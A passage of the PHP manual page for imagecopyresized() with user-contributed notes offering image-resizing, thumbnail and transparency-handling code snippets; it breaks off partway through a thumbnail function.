// Load
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefromjpeg($filename);

// Resize
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

// Output
imagejpeg($thumb);
?>

The above example will output something similar to:

Output of example : Resizing an image

The image will be output at half size, though better quality could be obtained using imagecopyresampled().

Notes

Note:

There is a problem due to palette image limitations (255+1 colors). Resampling or filtering an image commonly needs more colors than 255, a kind of approximation is used to calculate the new resampled pixel and its color. With a palette image we try to allocate a new color, if that failed, we choose the closest (in theory) computed color. This is not always the closest visual color. That may produce a weird result, like blank (or visually blank) images. To skip this problem, please use a truecolor image as a destination image, such as one created by imagecreatetruecolor().

See Also

imagecopyresampled() - Copy and resize part of an image with resampling

User Contributed Notes

licson0729 at gmail dot com 17-Nov-2011 03:09
I couldn't find any script that resize an image and give border to it. So I made one myself. Hope that can help you.

<?php
function imagecopyresizedwithborder(&$src,$width,$height,$borderthickess,$bordercolor=NULL)
{
    list($width_orig, $height_orig) = array(imagesx($src),imagesy($src));

    if ($width && ($width_orig < $height_orig))
    {
        $width = ($height / $height_orig) * $width_orig;
    }
    else
    {
        $height = ($width / $width_orig) * $height_orig;
    }

    $dst = imagecreatetruecolor($width+2*$borderthickess,$height+2*$borderthickess);
    imagecolortransparent($dst,imagecolorallocate($dst,0,0,0));
    imagealphablending($dst,false);
    imagesavealpha($dst,true);
    imagefill($dst,0,0,(isset($bordercolor) ? $bordercolor : imagecolorallocate($dst,255,255,255)));
    imagecopyresampled($dst,$src,$borderthickess,$borderthickess,0,0,$width,$height,imagesx($src),imagesy($src));
    return $dst;
}

?>
email at vladislav dot net 22-Jun-2011 03:30
I didn't find here before any script giving both GIF and PNG transparent images correct, so I offer you mine.
Here is the code for 'image.php' script to generate a resized or original sized images of any type (JPEG, GIF, PNG) with respect to possible transparency of GIF and PNG.
The following script can be used in HTML tag IMG (to display an image marked in database with ID equal to 1 and resized to max 100px) like this:
<img src="image.php?id=1&size=100" />.

<?php
/* *************************
 * Script by A. Vladislav I.
 * ************************* */
$id = $_GET['id'];
$size = $_GET['size'];
if(!empty($id))
{
/* Here you may take the source image path from where you want: current direcory, databse etc.
 I used the $_GET['id'] for giving the script an ID of the image in database, where its real name is stored.
 I consider later the $f variable responsible to store file name and $type variable responsible to store mime type of the image. You may use function GetImageSize() to discover the mime type.
 So don't forget to set the */
  $f = /*...*/ ;
/* and */
  $type = /*...*/ ;
/* ... */
}
$imgFunc = '';
switch($type)
{
    case 'image/gif':
        $img = ImageCreateFromGIF($f);
        $imgFunc = 'ImageGIF';
        $transparent_index = ImageColorTransparent($img);
        if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);
        break;
    case 'image/jpeg':
        $img = ImageCreateFromJPEG($f);
        $imgFunc = 'ImageJPEG';
        break;
    case 'image/png':
        $img = ImageCreateFromPNG($f);
        ImageAlphaBlending($img,true);
        ImageSaveAlpha($img,true);
        $imgFunc = 'ImagePNG';
        break;
    default:
        die("ERROR - no image found");
        break;
}
header("Content-Type: ".$type);
if(!empty($size))
{

    list($w,$h) = GetImageSize($f);
    if( $w==0 or $h==0 ) die("ERROR - zero image size");
    $percent = $size / (($w>$h)?$w:$h);
    if($percent>0 and $percent<1)
    {
        $nw = intval($w*$percent);
        $nh = intval($h*$percent);
        $img_resized = ImageCreateTrueColor($nw,$nh);
        if($type=='image/png')
        {
            ImageAlphaBlending($img_resized,false);
            ImageSaveAlpha($img_resized,true);
        }
        if(!empty($transparent_color))
        {
            $transparent_new = ImageColorAllocate($img_resized,$transparent_color['red'],$transparent_color['green'],$transparent_color['blue']);
            $transparent_new_index = ImageColorTransparent($img_resized,$transparent_new);
            ImageFill($img_resized, 0,0, $transparent_new_index);
        }
        if(ImageCopyResized($img_resized,$img, 0,0,0,0, $nw,$nh, $w,$h ))
        {
            ImageDestroy($img);
            $img = $img_resized;

        }
    }
}
$imgFunc($img);
ImageDestroy($img);
?>

P.S.
The script can be written better (optimized etc.), but I hope you can do it by yourself.
kvslaap 02-May-2009 07:17
this is a script which loops trough a directory that is currently set to "files" and resizes all images with respecting the image ratio

<?php
//use this line if you get the error message of using too much memory (strip '//')
//ini_set ( "memory_limit", "48M");

$target_width = 800;
$target_height = 600;

if (ob_get_level() == 0) ob_start();
if ($handle = opendir('files/')) {
  while (false !== ($file = readdir($handle))) {
    if ($file != "." && $file != "..") {
      $destination_path = './files/';
      $target_path = $destination_path . basename($file);

      $extension = pathinfo($target_path);
      $allowed_ext = "jpg, gif, png, bmp, jpeg, JPG";
      $extension = $extension[extension];
      $allowed_paths = explode(", ", $allowed_ext);
      $ok = 0;
      for($i = 0; $i < count($allowed_paths); $i++) {
        if ($allowed_paths[$i] == "$extension") {
          $ok = "1";
        }
      }

      if ($ok == "1") {

        if($extension == "jpg" || $extension == "jpeg" || $extension == "JPG"){
          $tmp_image=imagecreatefromjpeg($target_path);
        }

        if($extension == "png") {
          $tmp_image=imagecreatefrompng($target_path);
        }

        if($extension == "gif") {
          $tmp_image=imagecreatefromgif($target_path);
        }

        $width = imagesx($tmp_image);
        $height = imagesy($tmp_image);

        //calculate the image ratio
        $imgratio = ($width / $height);

        if ($imgratio>1) {
          $new_width = $target_width;
          $new_height = ($target_width / $imgratio);
        } else {
          $new_height = $target_height;
          $new_width = ($target_height * $imgratio);
        }

        $new_image = imagecreatetruecolor($new_width,$new_height);
        ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
        //Grab new image
        imagejpeg($new_image, $target_path);
        $image_buffer = ob_get_contents();
        ImageDestroy($new_image);
        ImageDestroy($tmp_image);
        echo " $file resized to $new_width x $new_height <br> \n";
        echo str_pad('',4096)."\n";
        ob_flush();
        flush();
      }
    }
  }
  closedir($handle);
  echo "Done.";
  ob_end_flush();
}
?>
david from quidware 28-Jan-2009 12:50
If the script should resize and save thumb I use this simple code, I made a couple corrections from last one and added the possibility to resize to a max HEIGHT:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 * $maxisheight - is max for width (if not is for height)
 *
 * Author:  David Taubmann http://www.quidware.com (edited from LEDok - http://www.citadelavto.ru/)
 */

/*/    // And now how using this function fast:
if ($_POST[pic])
    {
    $tmpname  = $_FILES['pic']['tmp_name'];
    @img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
    @img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
    @img_resize( $tmpname , 60 , "../album" , "album_".$id."_maxheight.jpg", 1);
    }
    else
    echo "No Images uploaded via POST";
/**/

function img_resize( $tmpname, $size, $save_dir, $save_name, $maxisheight = 0 )
    {
    $save_dir     .= ( substr($save_dir,-1) != "/") ? "/" : "";
    $gis        = getimagesize($tmpname);
    $type        = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imagesx($imorig);
        $y = imagesy($imorig);

        $woh = (!$maxisheight)? $gis[0] : $gis[1] ;

        if($woh <= $size)
        {
        $aw = $x;
        $ah = $y;
        }
            else
        {
            if(!$maxisheight){
                $aw = $size;
                $ah = $size * $y / $x;
            } else {
                $aw = $size * $x / $y;
                $ah = $size;
            }
        }
        $im = imagecreatetruecolor($aw,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$aw,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }
?>
it at chmzap dot ru 17-Aug-2008 10:52
If the script should resize and save thumb I use this simple code:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 *
 * Author:  LEDok - http://www.citadelavto.ru/
 */

function img_resize( $tmpname, $size, $save_dir, $save_name )
    {
    $save_dir .= ( substr($save_dir,-1) != "/") ? "/" : "";
        $gis       = GetImageSize($tmpname);
    $type       = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imageSX($imorig);
        $y = imageSY($imorig);
        if($gis[0] <= $size)
        {
        $av = $x;
        $ah = $y;
        }
            else
        {
            $yc = $y*1.3333333;
            $d = $x>$yc?$x:$yc;
            $c = $d>$size ? $size/$d : $size;
              $av = $x*$c;        //высота исходной картинки
              $ah = $y*$c;        //длина исходной картинки
        }
        $im = imagecreate($av, $ah);
        $im = imagecreatetruecolor($av,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$av,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }

?>

And now how using this function fast

<?php
if ($_POST[pic])
{
$tmpname  = $_FILES['pic']['tmp_name'];
@img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
@img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
@img_resize( $tmpname , 60 , "../album" , "album_".$id."verysmall.jpg");
}
else
echo "No Images uploaded via POST";
?>
andrvm at andrvm dot ru 14-Oct-2007 04:09
One more version of setMemoryForImage (see below)

<?php

function setMemoryForImage($filename)
{
   $imageInfo    = getimagesize($filename);
   $memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

   $memoryLimit = (int) ini_get('memory_limit')*1048576;

  if ((memory_get_usage() + $memoryNeeded) > $memoryLimit)
   {
     ini_set('memory_limit', ceil((memory_get_usage() + $memoryNeeded + $memoryLimit)/1048576).'M');
     return (true);
   }
   else return(false);
}

?>
//work's it. no problem!
heshan at sjtu dot edu dot cn 24-Jul-2007 09:11
Create thumbnail in GIF format for JPEG and GIF ( with or without transparency, for animated GIF, only the first frame is retained ) originals, thumbnails for PNG images should save in PNG format to support alpha transparency.

For JPEG image and GIF without transparency, simply use imagecopyresized will be OK. For GIF with transparency, we should first understand the behavior of imagecopyresized: it extracts pixels that are not transparent from the specified rectangle area of the source image, resizs the rectangle, probably does some color approximation, then copys to the target image. Suppose that you want to put a picture frame image( only the border is non-transparent ) over a photo( opaque ) to compose a final image, just imagecopyresize the picture frame image to the photo will be OK. To better understand the behavior, consider the case you want to copy several GIF images with transparency together to form a new one, note that the GIF image can only have one transparent color, if the old transparent colors are not dropped by imagecopyresize, it will be confused which color from the originals will be the transparent color in the final image. So imagecopyresize does the right thing. To this point, it is not hard to understand why some people get a black background when they want to create thumbnails for transparent GIF: the original transparent pixels are gone, and the non-transparent pixels are put onto an empty canvas( no color allocated ). Then we arrive

<?php

$im = imagecreatefromgif( 'test.gif' );
// or $im = imagecreatefromjpeg( 'test.jpg' );
$mw = 360; // max width
$mh = 360; // max height
$ow = imagesx( $im );
$oh = imagesy( $im );
if( $ow > $mw || $oh > $mh ) {
    if( $ow > $oh ) {
        $tnw = $mw;
        $tnh = $tnw * $oh / $ow;
    } else {
        $tnh = $mh;
        $tnw = $tnh * $ow / $oh;
    }
} else {
    // although within size restriction, we still do the copy/resize process
    // which can make an animated GIF still
    $tnw = $ow;
    $tnh = $oh;
}
// the document recommends you to use truecolor to get better result
$imtn = imagecreatetruecolor( $tnw, $tnh );
// if the image has transparent color, we first extract the RGB value of it,
// then use this color to fill the thumbnail image as the background. This color
// is safe to be assigned as the new transparent color later on because it will
// be filtered by imagecopyresize.
$originaltransparentcolor = imagecolortransparent( $im );
if(
    $originaltransparentcolor >= 0 // -1 for opaque image
    && $originaltransparentcolor < imagecolorstotal( $im )
    // for animated GIF, imagecolortransparent will return a color index larger
    // than total colors, in this case the image is treated as opaque ( actually
    // it is opaque )
) {
    $transparentcolor = imagecolorsforindex( $im, $originaltransparentcolor );
    $newtransparentcolor = imagecolorallocate(
        $imtn,
        $transparentcolor['red'],
        $transparentcolor['green'],
        $transparentcolor['blue']
    );
    // for true color image, we must fill the background manually
    imagefill( $imtn, 0, 0, $newtransparentcolor );
    // assign the transparent color in the thumbnail image
    imagecolortransparent( $imtn, $newtransparentcolor );
}
// copy/resize as usual
imagecopyresized( $imtn, $im, 0, 0, 0, 0, $tnw, $tnh, $ow, $oh );
imagegif( $imtn, 'test.thumbnail.gif' );
imagedestroy( $im );
imagedestroy( $imtn );

?>

Only do imagecolortransparent( $thumbnail, imagecolortransparent( $source ) ); some times works, just because the color indexes for background transparent pixels in the two images happens to be the same.

PHP5.2.0 with GD bundled (2.0.28 compatible)
nils dot clark-bernhard at human-aspects dot de 08-Jun-2007 04:52
Regarding ob at babcom dot biz's function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality)

Make sure to not use a quality of 9 or higher for png resizing.

PHP will output an error like:
fatal libpng error: zlib failed to initialize compressor
or
gd-png error: setjmp returns error condition
Halit Yesil mail at halityesil dot com 23-Mar-2007 08:34
This Class image resize or crop,
your copyright text write on the image and your logo marge on the image.

Full Class code => http://www.phpbuilder.com/snippet/download.php?type=snippet&id=2188
/**
     * Author         : Halit YESIL
     * www            : www.halityesil.com, www.prografik.net, www.trteknik.net
     * email        : mail@halityesil.com, halit.yesil@prografik.net, halit.yesil@trteknik.net
     * GSM            : +90.535 648 3504
     * Create Date    : 21 / 03 / 2007
     *
     *
     * Script        : Image resize and croping class.
     *                  You can Write copyright text and attach your logo write on image with this class
     *
     *
     * $obj = new pg_image($arg);
     *
     *
     * Varibles Information
     *         [0] type => (POST | FILE) => Source File Send Type _FILES OR Dir
     *         [1] file => ({if POST Array file = $_FILES['yourfile']}|{if FILE false}) => Source File filesource
     *         [2] path => ({if FILE String [ dirname/filename.extension ]}) => Source File Root Path
     *         [3] target => ({if FILE String [ dirname/filename.extension ]}) => Target File Root Path
     *         [4] width => (integer) => Target File Width
     *         [5] height => (integer) => Target File Height
     *         [6] quality => (integer 1 - 100) => Target File Quality 0-100 %
     *         [7] action => (crop | resize) => Target Action "resize" OR "crop"
     *         [8] bordersize => (integer 0-5) => Target Border Size
     *         [9] bordercolor => (color hex) => Target Border Color
     *         [10] bgcolor => (color hex) => Target Background Color
     *         [11] copytext => (String) => Copyright Content Text
     *         [12] copycolor => (color hex) => Copyright Text Color
     *         [13] copyshadow => (color hex) => Copyright Text Shadow color
     *         [14] copybgcolor => (color hex) => Copyright Background Color
     *         [15] copybgshadow => (color hex) => Copyright Background Shadow Color
     *         [16] copybordersize => (integer 0-5) => Copyright Border Size 1-3
     *         [17] copybordercolor => (color hex) => Copyright Border Color
     *      [18] copyposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Copyright Position
     *         [19] logoposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Logo Image Position
     *         [20] logoimage => (String [ dirname/filename.extension] Allow Extension (PNG | GIF | JPG)) => Logo Image Root Path "PNG" OR "GIF" OR "JPG"
     *
     *
     *
     *
     */

<?php

$source = ($_REQUEST['img'] != '')?$_REQUEST['img']:'braille3.jpg';
    $arg =array(     type =>'FILE',
                    file =>false,
                     path =>$source,
                     target =>'',
                     width =>150,
                     height =>50,
                     quality =>80,
                     action =>'resize',
                     bordersize =>1,
                     bordercolor =>'#00CCFF',
                     bgcolor =>'#000000',
                     copytext =>'Bodrum 1998',
                     copycolor =>'#FFFFFF',
                     //copyshadow =>'#000000',
                     //copybgcolor =>'#D0FFCC',
                     //copybgshadow =>'#656565',
                     copybordersize =>0,
                     copybordercolor =>'#FFFFFF',
                     copyposition =>'bottom',
                     logoposition =>'topleft',
                     logoimage =>'logo.png');

    //$arg = "$source,,400,300,80,resize";
    new pg_image($arg);

?>
feip at feip dot net 15-Nov-2006 04:23
This code convert images to thumbs.
How he work -
Check source image - Width and Height,
crop a maximum from original image,
resize croped to user defined size

// makeIcons_MergeCenter($src, $dst, $dstx, $dsty);

<?php

function makeIcons_MergeCenter($src, $dst, $dstx, $dsty){

//$src = original image location
//$dst = destination image location
//$dstx = user defined width of image
//$dsty = user defined height of image

$allowedExtensions = 'jpg jpeg gif png';

$name = explode(".", $src);
$currentExtensions = $name[count($name)-1];
$extensions = explode(" ", $allowedExtensions);

for($i=0; count($extensions)>$i; $i=$i+1){
if($extensions[$i]==$currentExtensions)
{ $extensionOK=1;
$fileExtension=$extensions[$i];
break; }
}

if($extensionOK){

$size = getImageSize($src);
$width = $size[0];
$height = $size[1];

if($width >= $dstx AND $height >= $dsty){

$proportion_X = $width / $dstx;
$proportion_Y = $height / $dsty;

if($proportion_X > $proportion_Y ){
$proportion = $proportion_Y;
}else{
$proportion = $proportion_X ;
}
$target['width'] = $dstx * $proportion;
$target['height'] = $dsty * $proportion;

$original['diagonal_center'] =
round(sqrt(($width*$width)+($height*$height))/2);
$target['diagonal_center'] =
round(sqrt(($target['width']*$target['width'])+
($target['height']*$target['height']))/2);

$crop = round($original['diagonal_center'] - $target['diagonal_center']);

if($proportion_X < $proportion_Y ){
$target['x'] = 0;
$target['y'] = round((($height/2)*$crop)/$target['diagonal_center']);
}else{
$target['x'] =  round((($width/2)*$crop)/$target['diagonal_center']);
$target['y'] = 0;
}

if($fileExtension == "jpg" OR $fileExtension=='jpeg'){
$from = ImageCreateFromJpeg($src);
}elseif ($fileExtension == "gif"){
$from = ImageCreateFromGIF($src);
}elseif ($fileExtension == 'png'){
 $from = imageCreateFromPNG($src);
}

$new = ImageCreateTrueColor ($dstx,$dsty);

imagecopyresampled ($new,  $from,  0, 0, $target['x'],
$target['y'], $dstx, $dsty, $target['width'], $target['height']);

 if($fileExtension == "jpg" OR $fileExtension == 'jpeg'){
imagejpeg($new, $dst, 70);
}elseif ($fileExtension == "gif"){
imagegif($new, $dst);
}elseif ($fileExtension == 'png'){
imagepng($new, $dst);
}
}
}
}

?>
kyle dot florence at gmail dot com 15-Sep-2006 06:38
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.  This function will not resize the image to max_w pixels by max_h pixels, those are only the max width's and heights the image can be, it resizes the image to the first 1:1 ratio below max_w and max_h.

For example, if you have an image that is 800x600 and you specify your new image to be 400x200, it will resize based on the smallest number (in this case 200) and maintain the images 1:1 ratio.  So your final image would end up at something like 262x200.

UPDATE:  I have updated this function, I added the 'newdir' option in case you want the images saved in a different directory than the script.  I also fixed the thumbnail slice so it is perfectly in the center now and fixed the bug that 'ob at babcom dot biz' mentioned so you can safely resize based on width or height now.

<?
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir    = directory image is stored in
 *    @newdir = directory new image will be stored in
 *    @img    = the image name
 *    @max_w  = the max width of the resized image
 *    @max_h  = the max height of the resized image
 *    @th_w   = the width of the thumbnail
 *    @th_h   = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $newdir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // set destination directory
    if (!$newdir) $newdir = $dir;

    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image?
        if ($or_w > $max_w || $or_h > $max_h) {

            // resize by height, then width (height dominant)
            if ($max_h < $max_w) {
                $rs_h = $max_h;
                $rs_w = $rs_h / $ratio;
            }
            // resize by width, then height (width dominant)
            else {
                $rs_w = $max_w;
                $rs_h = $ratio * $rs_w;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        }
        // image requires no resizing
        else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $newdir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 2) - ($th_w / 2));
        $new_h = (($rs_h / 2) - ($th_h / 2));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $newdir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, '', $img, 600, 400, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x400 or less (retains the 1:1 ratio of the image) and creates the file 'thumb_test.jpg' at 300x150.
nworld3d at yahoo dot com 23-Aug-2006 05:06
Belows is the code snipet that allows you to resize a transparent PNG and composite it into another image.  The code is tested to work with PHP5.1.2, GD2, but I think it can also work with other versions of PHP and GD.

The code has been commented to help you read through it.  The idea of resizing the transparent PNG image is to create a new destination image which is completely transparent then turn off the imageAlphaBlending of this new image so that when the PNG source file is copied, its alpha channel is still retained.

<?php
/**
 * Compose a PNG file over a src file.
 * If new width/ height are defined, then resize the PNG (and keep all the transparency info)
 * Author:  Alex Le - http://www.alexle.net
 */
function imageComposeAlpha( &$src, &$ovr, $ovr_x, $ovr_y, $ovr_w = false, $ovr_h = false)
{
    if( $ovr_w && $ovr_h )
        $ovr = imageResizeAlpha( $ovr, $ovr_w, $ovr_h );

    /* Noew compose the 2 images */
    imagecopy($src, $ovr, $ovr_x, $ovr_y, 0, 0, imagesx($ovr), imagesy($ovr) );
}

/**
 * Resize a PNG file with transparency to given dimensions
 * and still retain the alpha channel information
 * Author:  Alex Le - http://www.alexle.net
 */
function imageResizeAlpha(&$src, $w, $h)
{
        /* create a new image with the new width and height */
        $temp = imagecreatetruecolor($w, $h);

        /* making the new image transparent */
        $background = imagecolorallocate($temp, 0, 0, 0);
        ImageColorTransparent($temp, $background); // make the new temp image all transparent
        imagealphablending($temp, false); // turn off the alpha blending to keep the alpha channel

        /* Resize the PNG file */
        /* use imagecopyresized to gain some performance but loose some quality */
        imagecopyresized($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        /* use imagecopyresampled if you concern more about the quality */
        //imagecopyresampled($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        return $temp;
}
?>
Example usage:

<?php
header('Content-type: image/png');

/* Open the photo and the overlay image */
$photoImage = ImageCreateFromJPEG('images/MiuMiu.jpg');
$overlay = ImageCreateFromPNG('images/hair-trans.png');

$percent = 0.8;
$newW = ceil(imagesx($overlay) * $percent);
$newH = ceil(imagesy($overlay) * $percent);

/* Compose the overlay photo over the target image */
imageComposeAlpha( $photoImage, $overlay, 86, 15, $newW, $newH );

/* Open another PNG file, then resize and compose it */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 10, 20, imagesx($watermark)/2, imagesy($watermark)/2 );

/**
 * Open the same PNG file then compose without resizing
 * As the original $watermark is passed by reference, it was resized already.
 * So we have to reopen it.
 */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 80, 350);
Imagepng($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($overlay);
ImageDestroy($watermark);
?>
ob at babcom dot biz 21-Aug-2006 04:32
Regarding the note and function of kyle.florence on August 3rd 2006:

I tried to use his function resizejpeg() for resizing images in my gallery. As far as I can tell it contains a small bug.

Resizing worked fine as long as I had the same maximum width and maximum height specified. Wanting all thumbnails to have the same height - so my images would appear in a straight line on my website both in portrait format and in landscape format - I soon encountered the problem that resizing with different values of maximum width and maximum height would not work proberly.

If you are using the script change the following 2 lines where the resized width and the resized height are calculated:

<?php
$rs_h = $ratio * $max_h;
?>
should be:
<?php
$rs_h = $ratio * $rs_w;
?>

and:
<?php
$rs_w = $max_w / $ratio;
?>
should be:
<?php
$rs_w = $rs_h / $ratio;
?>

The following function is based on Kyle Florence's function. I left out the thumbnail-part and rather added the possibiliy of defining a new dir and new filename for the image. If you need to resize and then create a thumbnail just run the function twice. Here, the thumbnail will contain the full picture and not a cutout of the original image.

The function supports JPG, GIF and PNG resizing. The quality in case of JPG is given to the function as the last parameter $Quality.

The variable names should speak for their usage.

<?php
function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality) {
  list($ImageWidth,$ImageHeight,$TypeCode)=getimagesize($Dir.$Image);
  $ImageType=($TypeCode==1?"gif":($TypeCode==2?"jpeg":
             ($TypeCode==3?"png":FALSE)));
  $CreateFunction="imagecreatefrom".$ImageType;
  $OutputFunction="image".$ImageType;
  if ($ImageType) {
    $Ratio=($ImageHeight/$ImageWidth);
    $ImageSource=$CreateFunction($Dir.$Image);
    if ($ImageWidth > $MaxWidth || $ImageHeight > $MaxHeight) {
      if ($ImageWidth > $MaxWidth) {
         $ResizedWidth=$MaxWidth;
         $ResizedHeight=$ResizedWidth*$Ratio;
      }
      else {
        $ResizedWidth=$ImageWidth;
        $ResizedHeight=$ImageHeight;
      }
      if ($ResizedHeight > $MaxHeight) {
        $ResizedHeight=$MaxHeight;
        $ResizedWidth=$ResizedHeight/$Ratio;
      }
      $ResizedImage=imagecreatetruecolor($ResizedWidth,$ResizedHeight);
      imagecopyresampled($ResizedImage,$ImageSource,0,0,0,0,$ResizedWidth,
                         $ResizedHeight,$ImageWidth,$ImageHeight);
    }
    else {
      $ResizedWidth=$ImageWidth;
      $ResizedHeight=$ImageHeight;
      $ResizedImage=$ImageSource;
    }
    $OutputFunction($ResizedImage,$NewDir.$NewImage,$Quality);
    return true;
  }
  else
    return false;
}
?>

Before calling the function support for JPG, PNG or GIF should be checked.
hodgman at ali dot com dot au 08-Aug-2006 04:37
Users of this function should be aware that this function can return false in certain circumstances! I am assuming this is an indicator of failure.

None of the example code displayed in these notes takes this into account, so all of these examples contain weaknesses that could crash a program if not used with care.

However, it is not documented what kinds situations will cause it to fail, and what side effects (if it is not atomic) occur if the operation fails, so we will have to wait for the documentation to be updated before this function can be used in rock-solid (crash-proof) code.

[[I posted this information earlier, but I phrased it as a question so it was removed by the editors]]
kyle(dot)florence(_[at]_)gmail(dot)com 03-Aug-2006 06:43
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.

<?php
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir   = directory image is stored in
 *    @img   = the image name
 *    @max_w = the max width of the resized image
 *    @max_h = the max height of the resized image
 *    @th_w  = the width of the thumbnail
 *    @th_h  = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image
        if ($or_w > $max_w || $or_h > $max_h) {

            // first resize by width (less than $max_w)
            if ($or_w > $max_w) {
                $rs_w = $max_w;
                $rs_h = $ratio * $max_h;
            } else {
                $rs_w = $or_w;
                $rs_h = $or_h;
            }

            // then resize by height (less than $max_h)
            if ($rs_h > $max_h) {
                $rs_w = $max_w / $ratio;
                $rs_h = $max_h;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        } else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $dir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 4));
        $new_h = (($rs_h / 4));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $dir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, $img, 600, 600, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x600 or less (1:1 ratio) and create the file 'thumb_test.jpg' at 300x150.
06madsenl at westseneca dot wnyric dot org 21-Apr-2006 06:05
I was fiddling with this a few days trying to figure out how to resize the original images on my website, but this site:

http://www.sitepoint.com/article/image-resizing-php

Has a great tutorial on using PHP to resize images without creating thumbnails.  It was exactly what I was looking to do.
konteineris at yahoo dot com 15-Feb-2006 06:42
Function creates a thumbnail from the source image, resizes it so that it fits the desired thumb width and height or fills it grabbing maximum image part and resizing it, and lastly writes it to destination

<?

function thumb($filename, $destination, $th_width, $th_height, $forcefill)
{
   list($width, $height) = getimagesize($filename);

   $source = imagecreatefromjpeg($filename);

   if($width > $th_width || $height > $th_height){
      $a = $th_width/$th_height;
      $b = $width/$height;

      if(($a > $b)^$forcefill)
      {
         $src_rect_width  = $a * $height;
         $src_rect_height = $height;
         if(!$forcefill)
         {
            $src_rect_width = $width;
            $th_width = $th_height/$height*$width;
         }
      }
      else
      {
         $src_rect_height = $width/$a;
         $src_rect_width  = $width;
         if(!$forcefill)
         {
            $src_rect_height = $height;
            $th_height = $th_width/$width*$height;
         }
      }

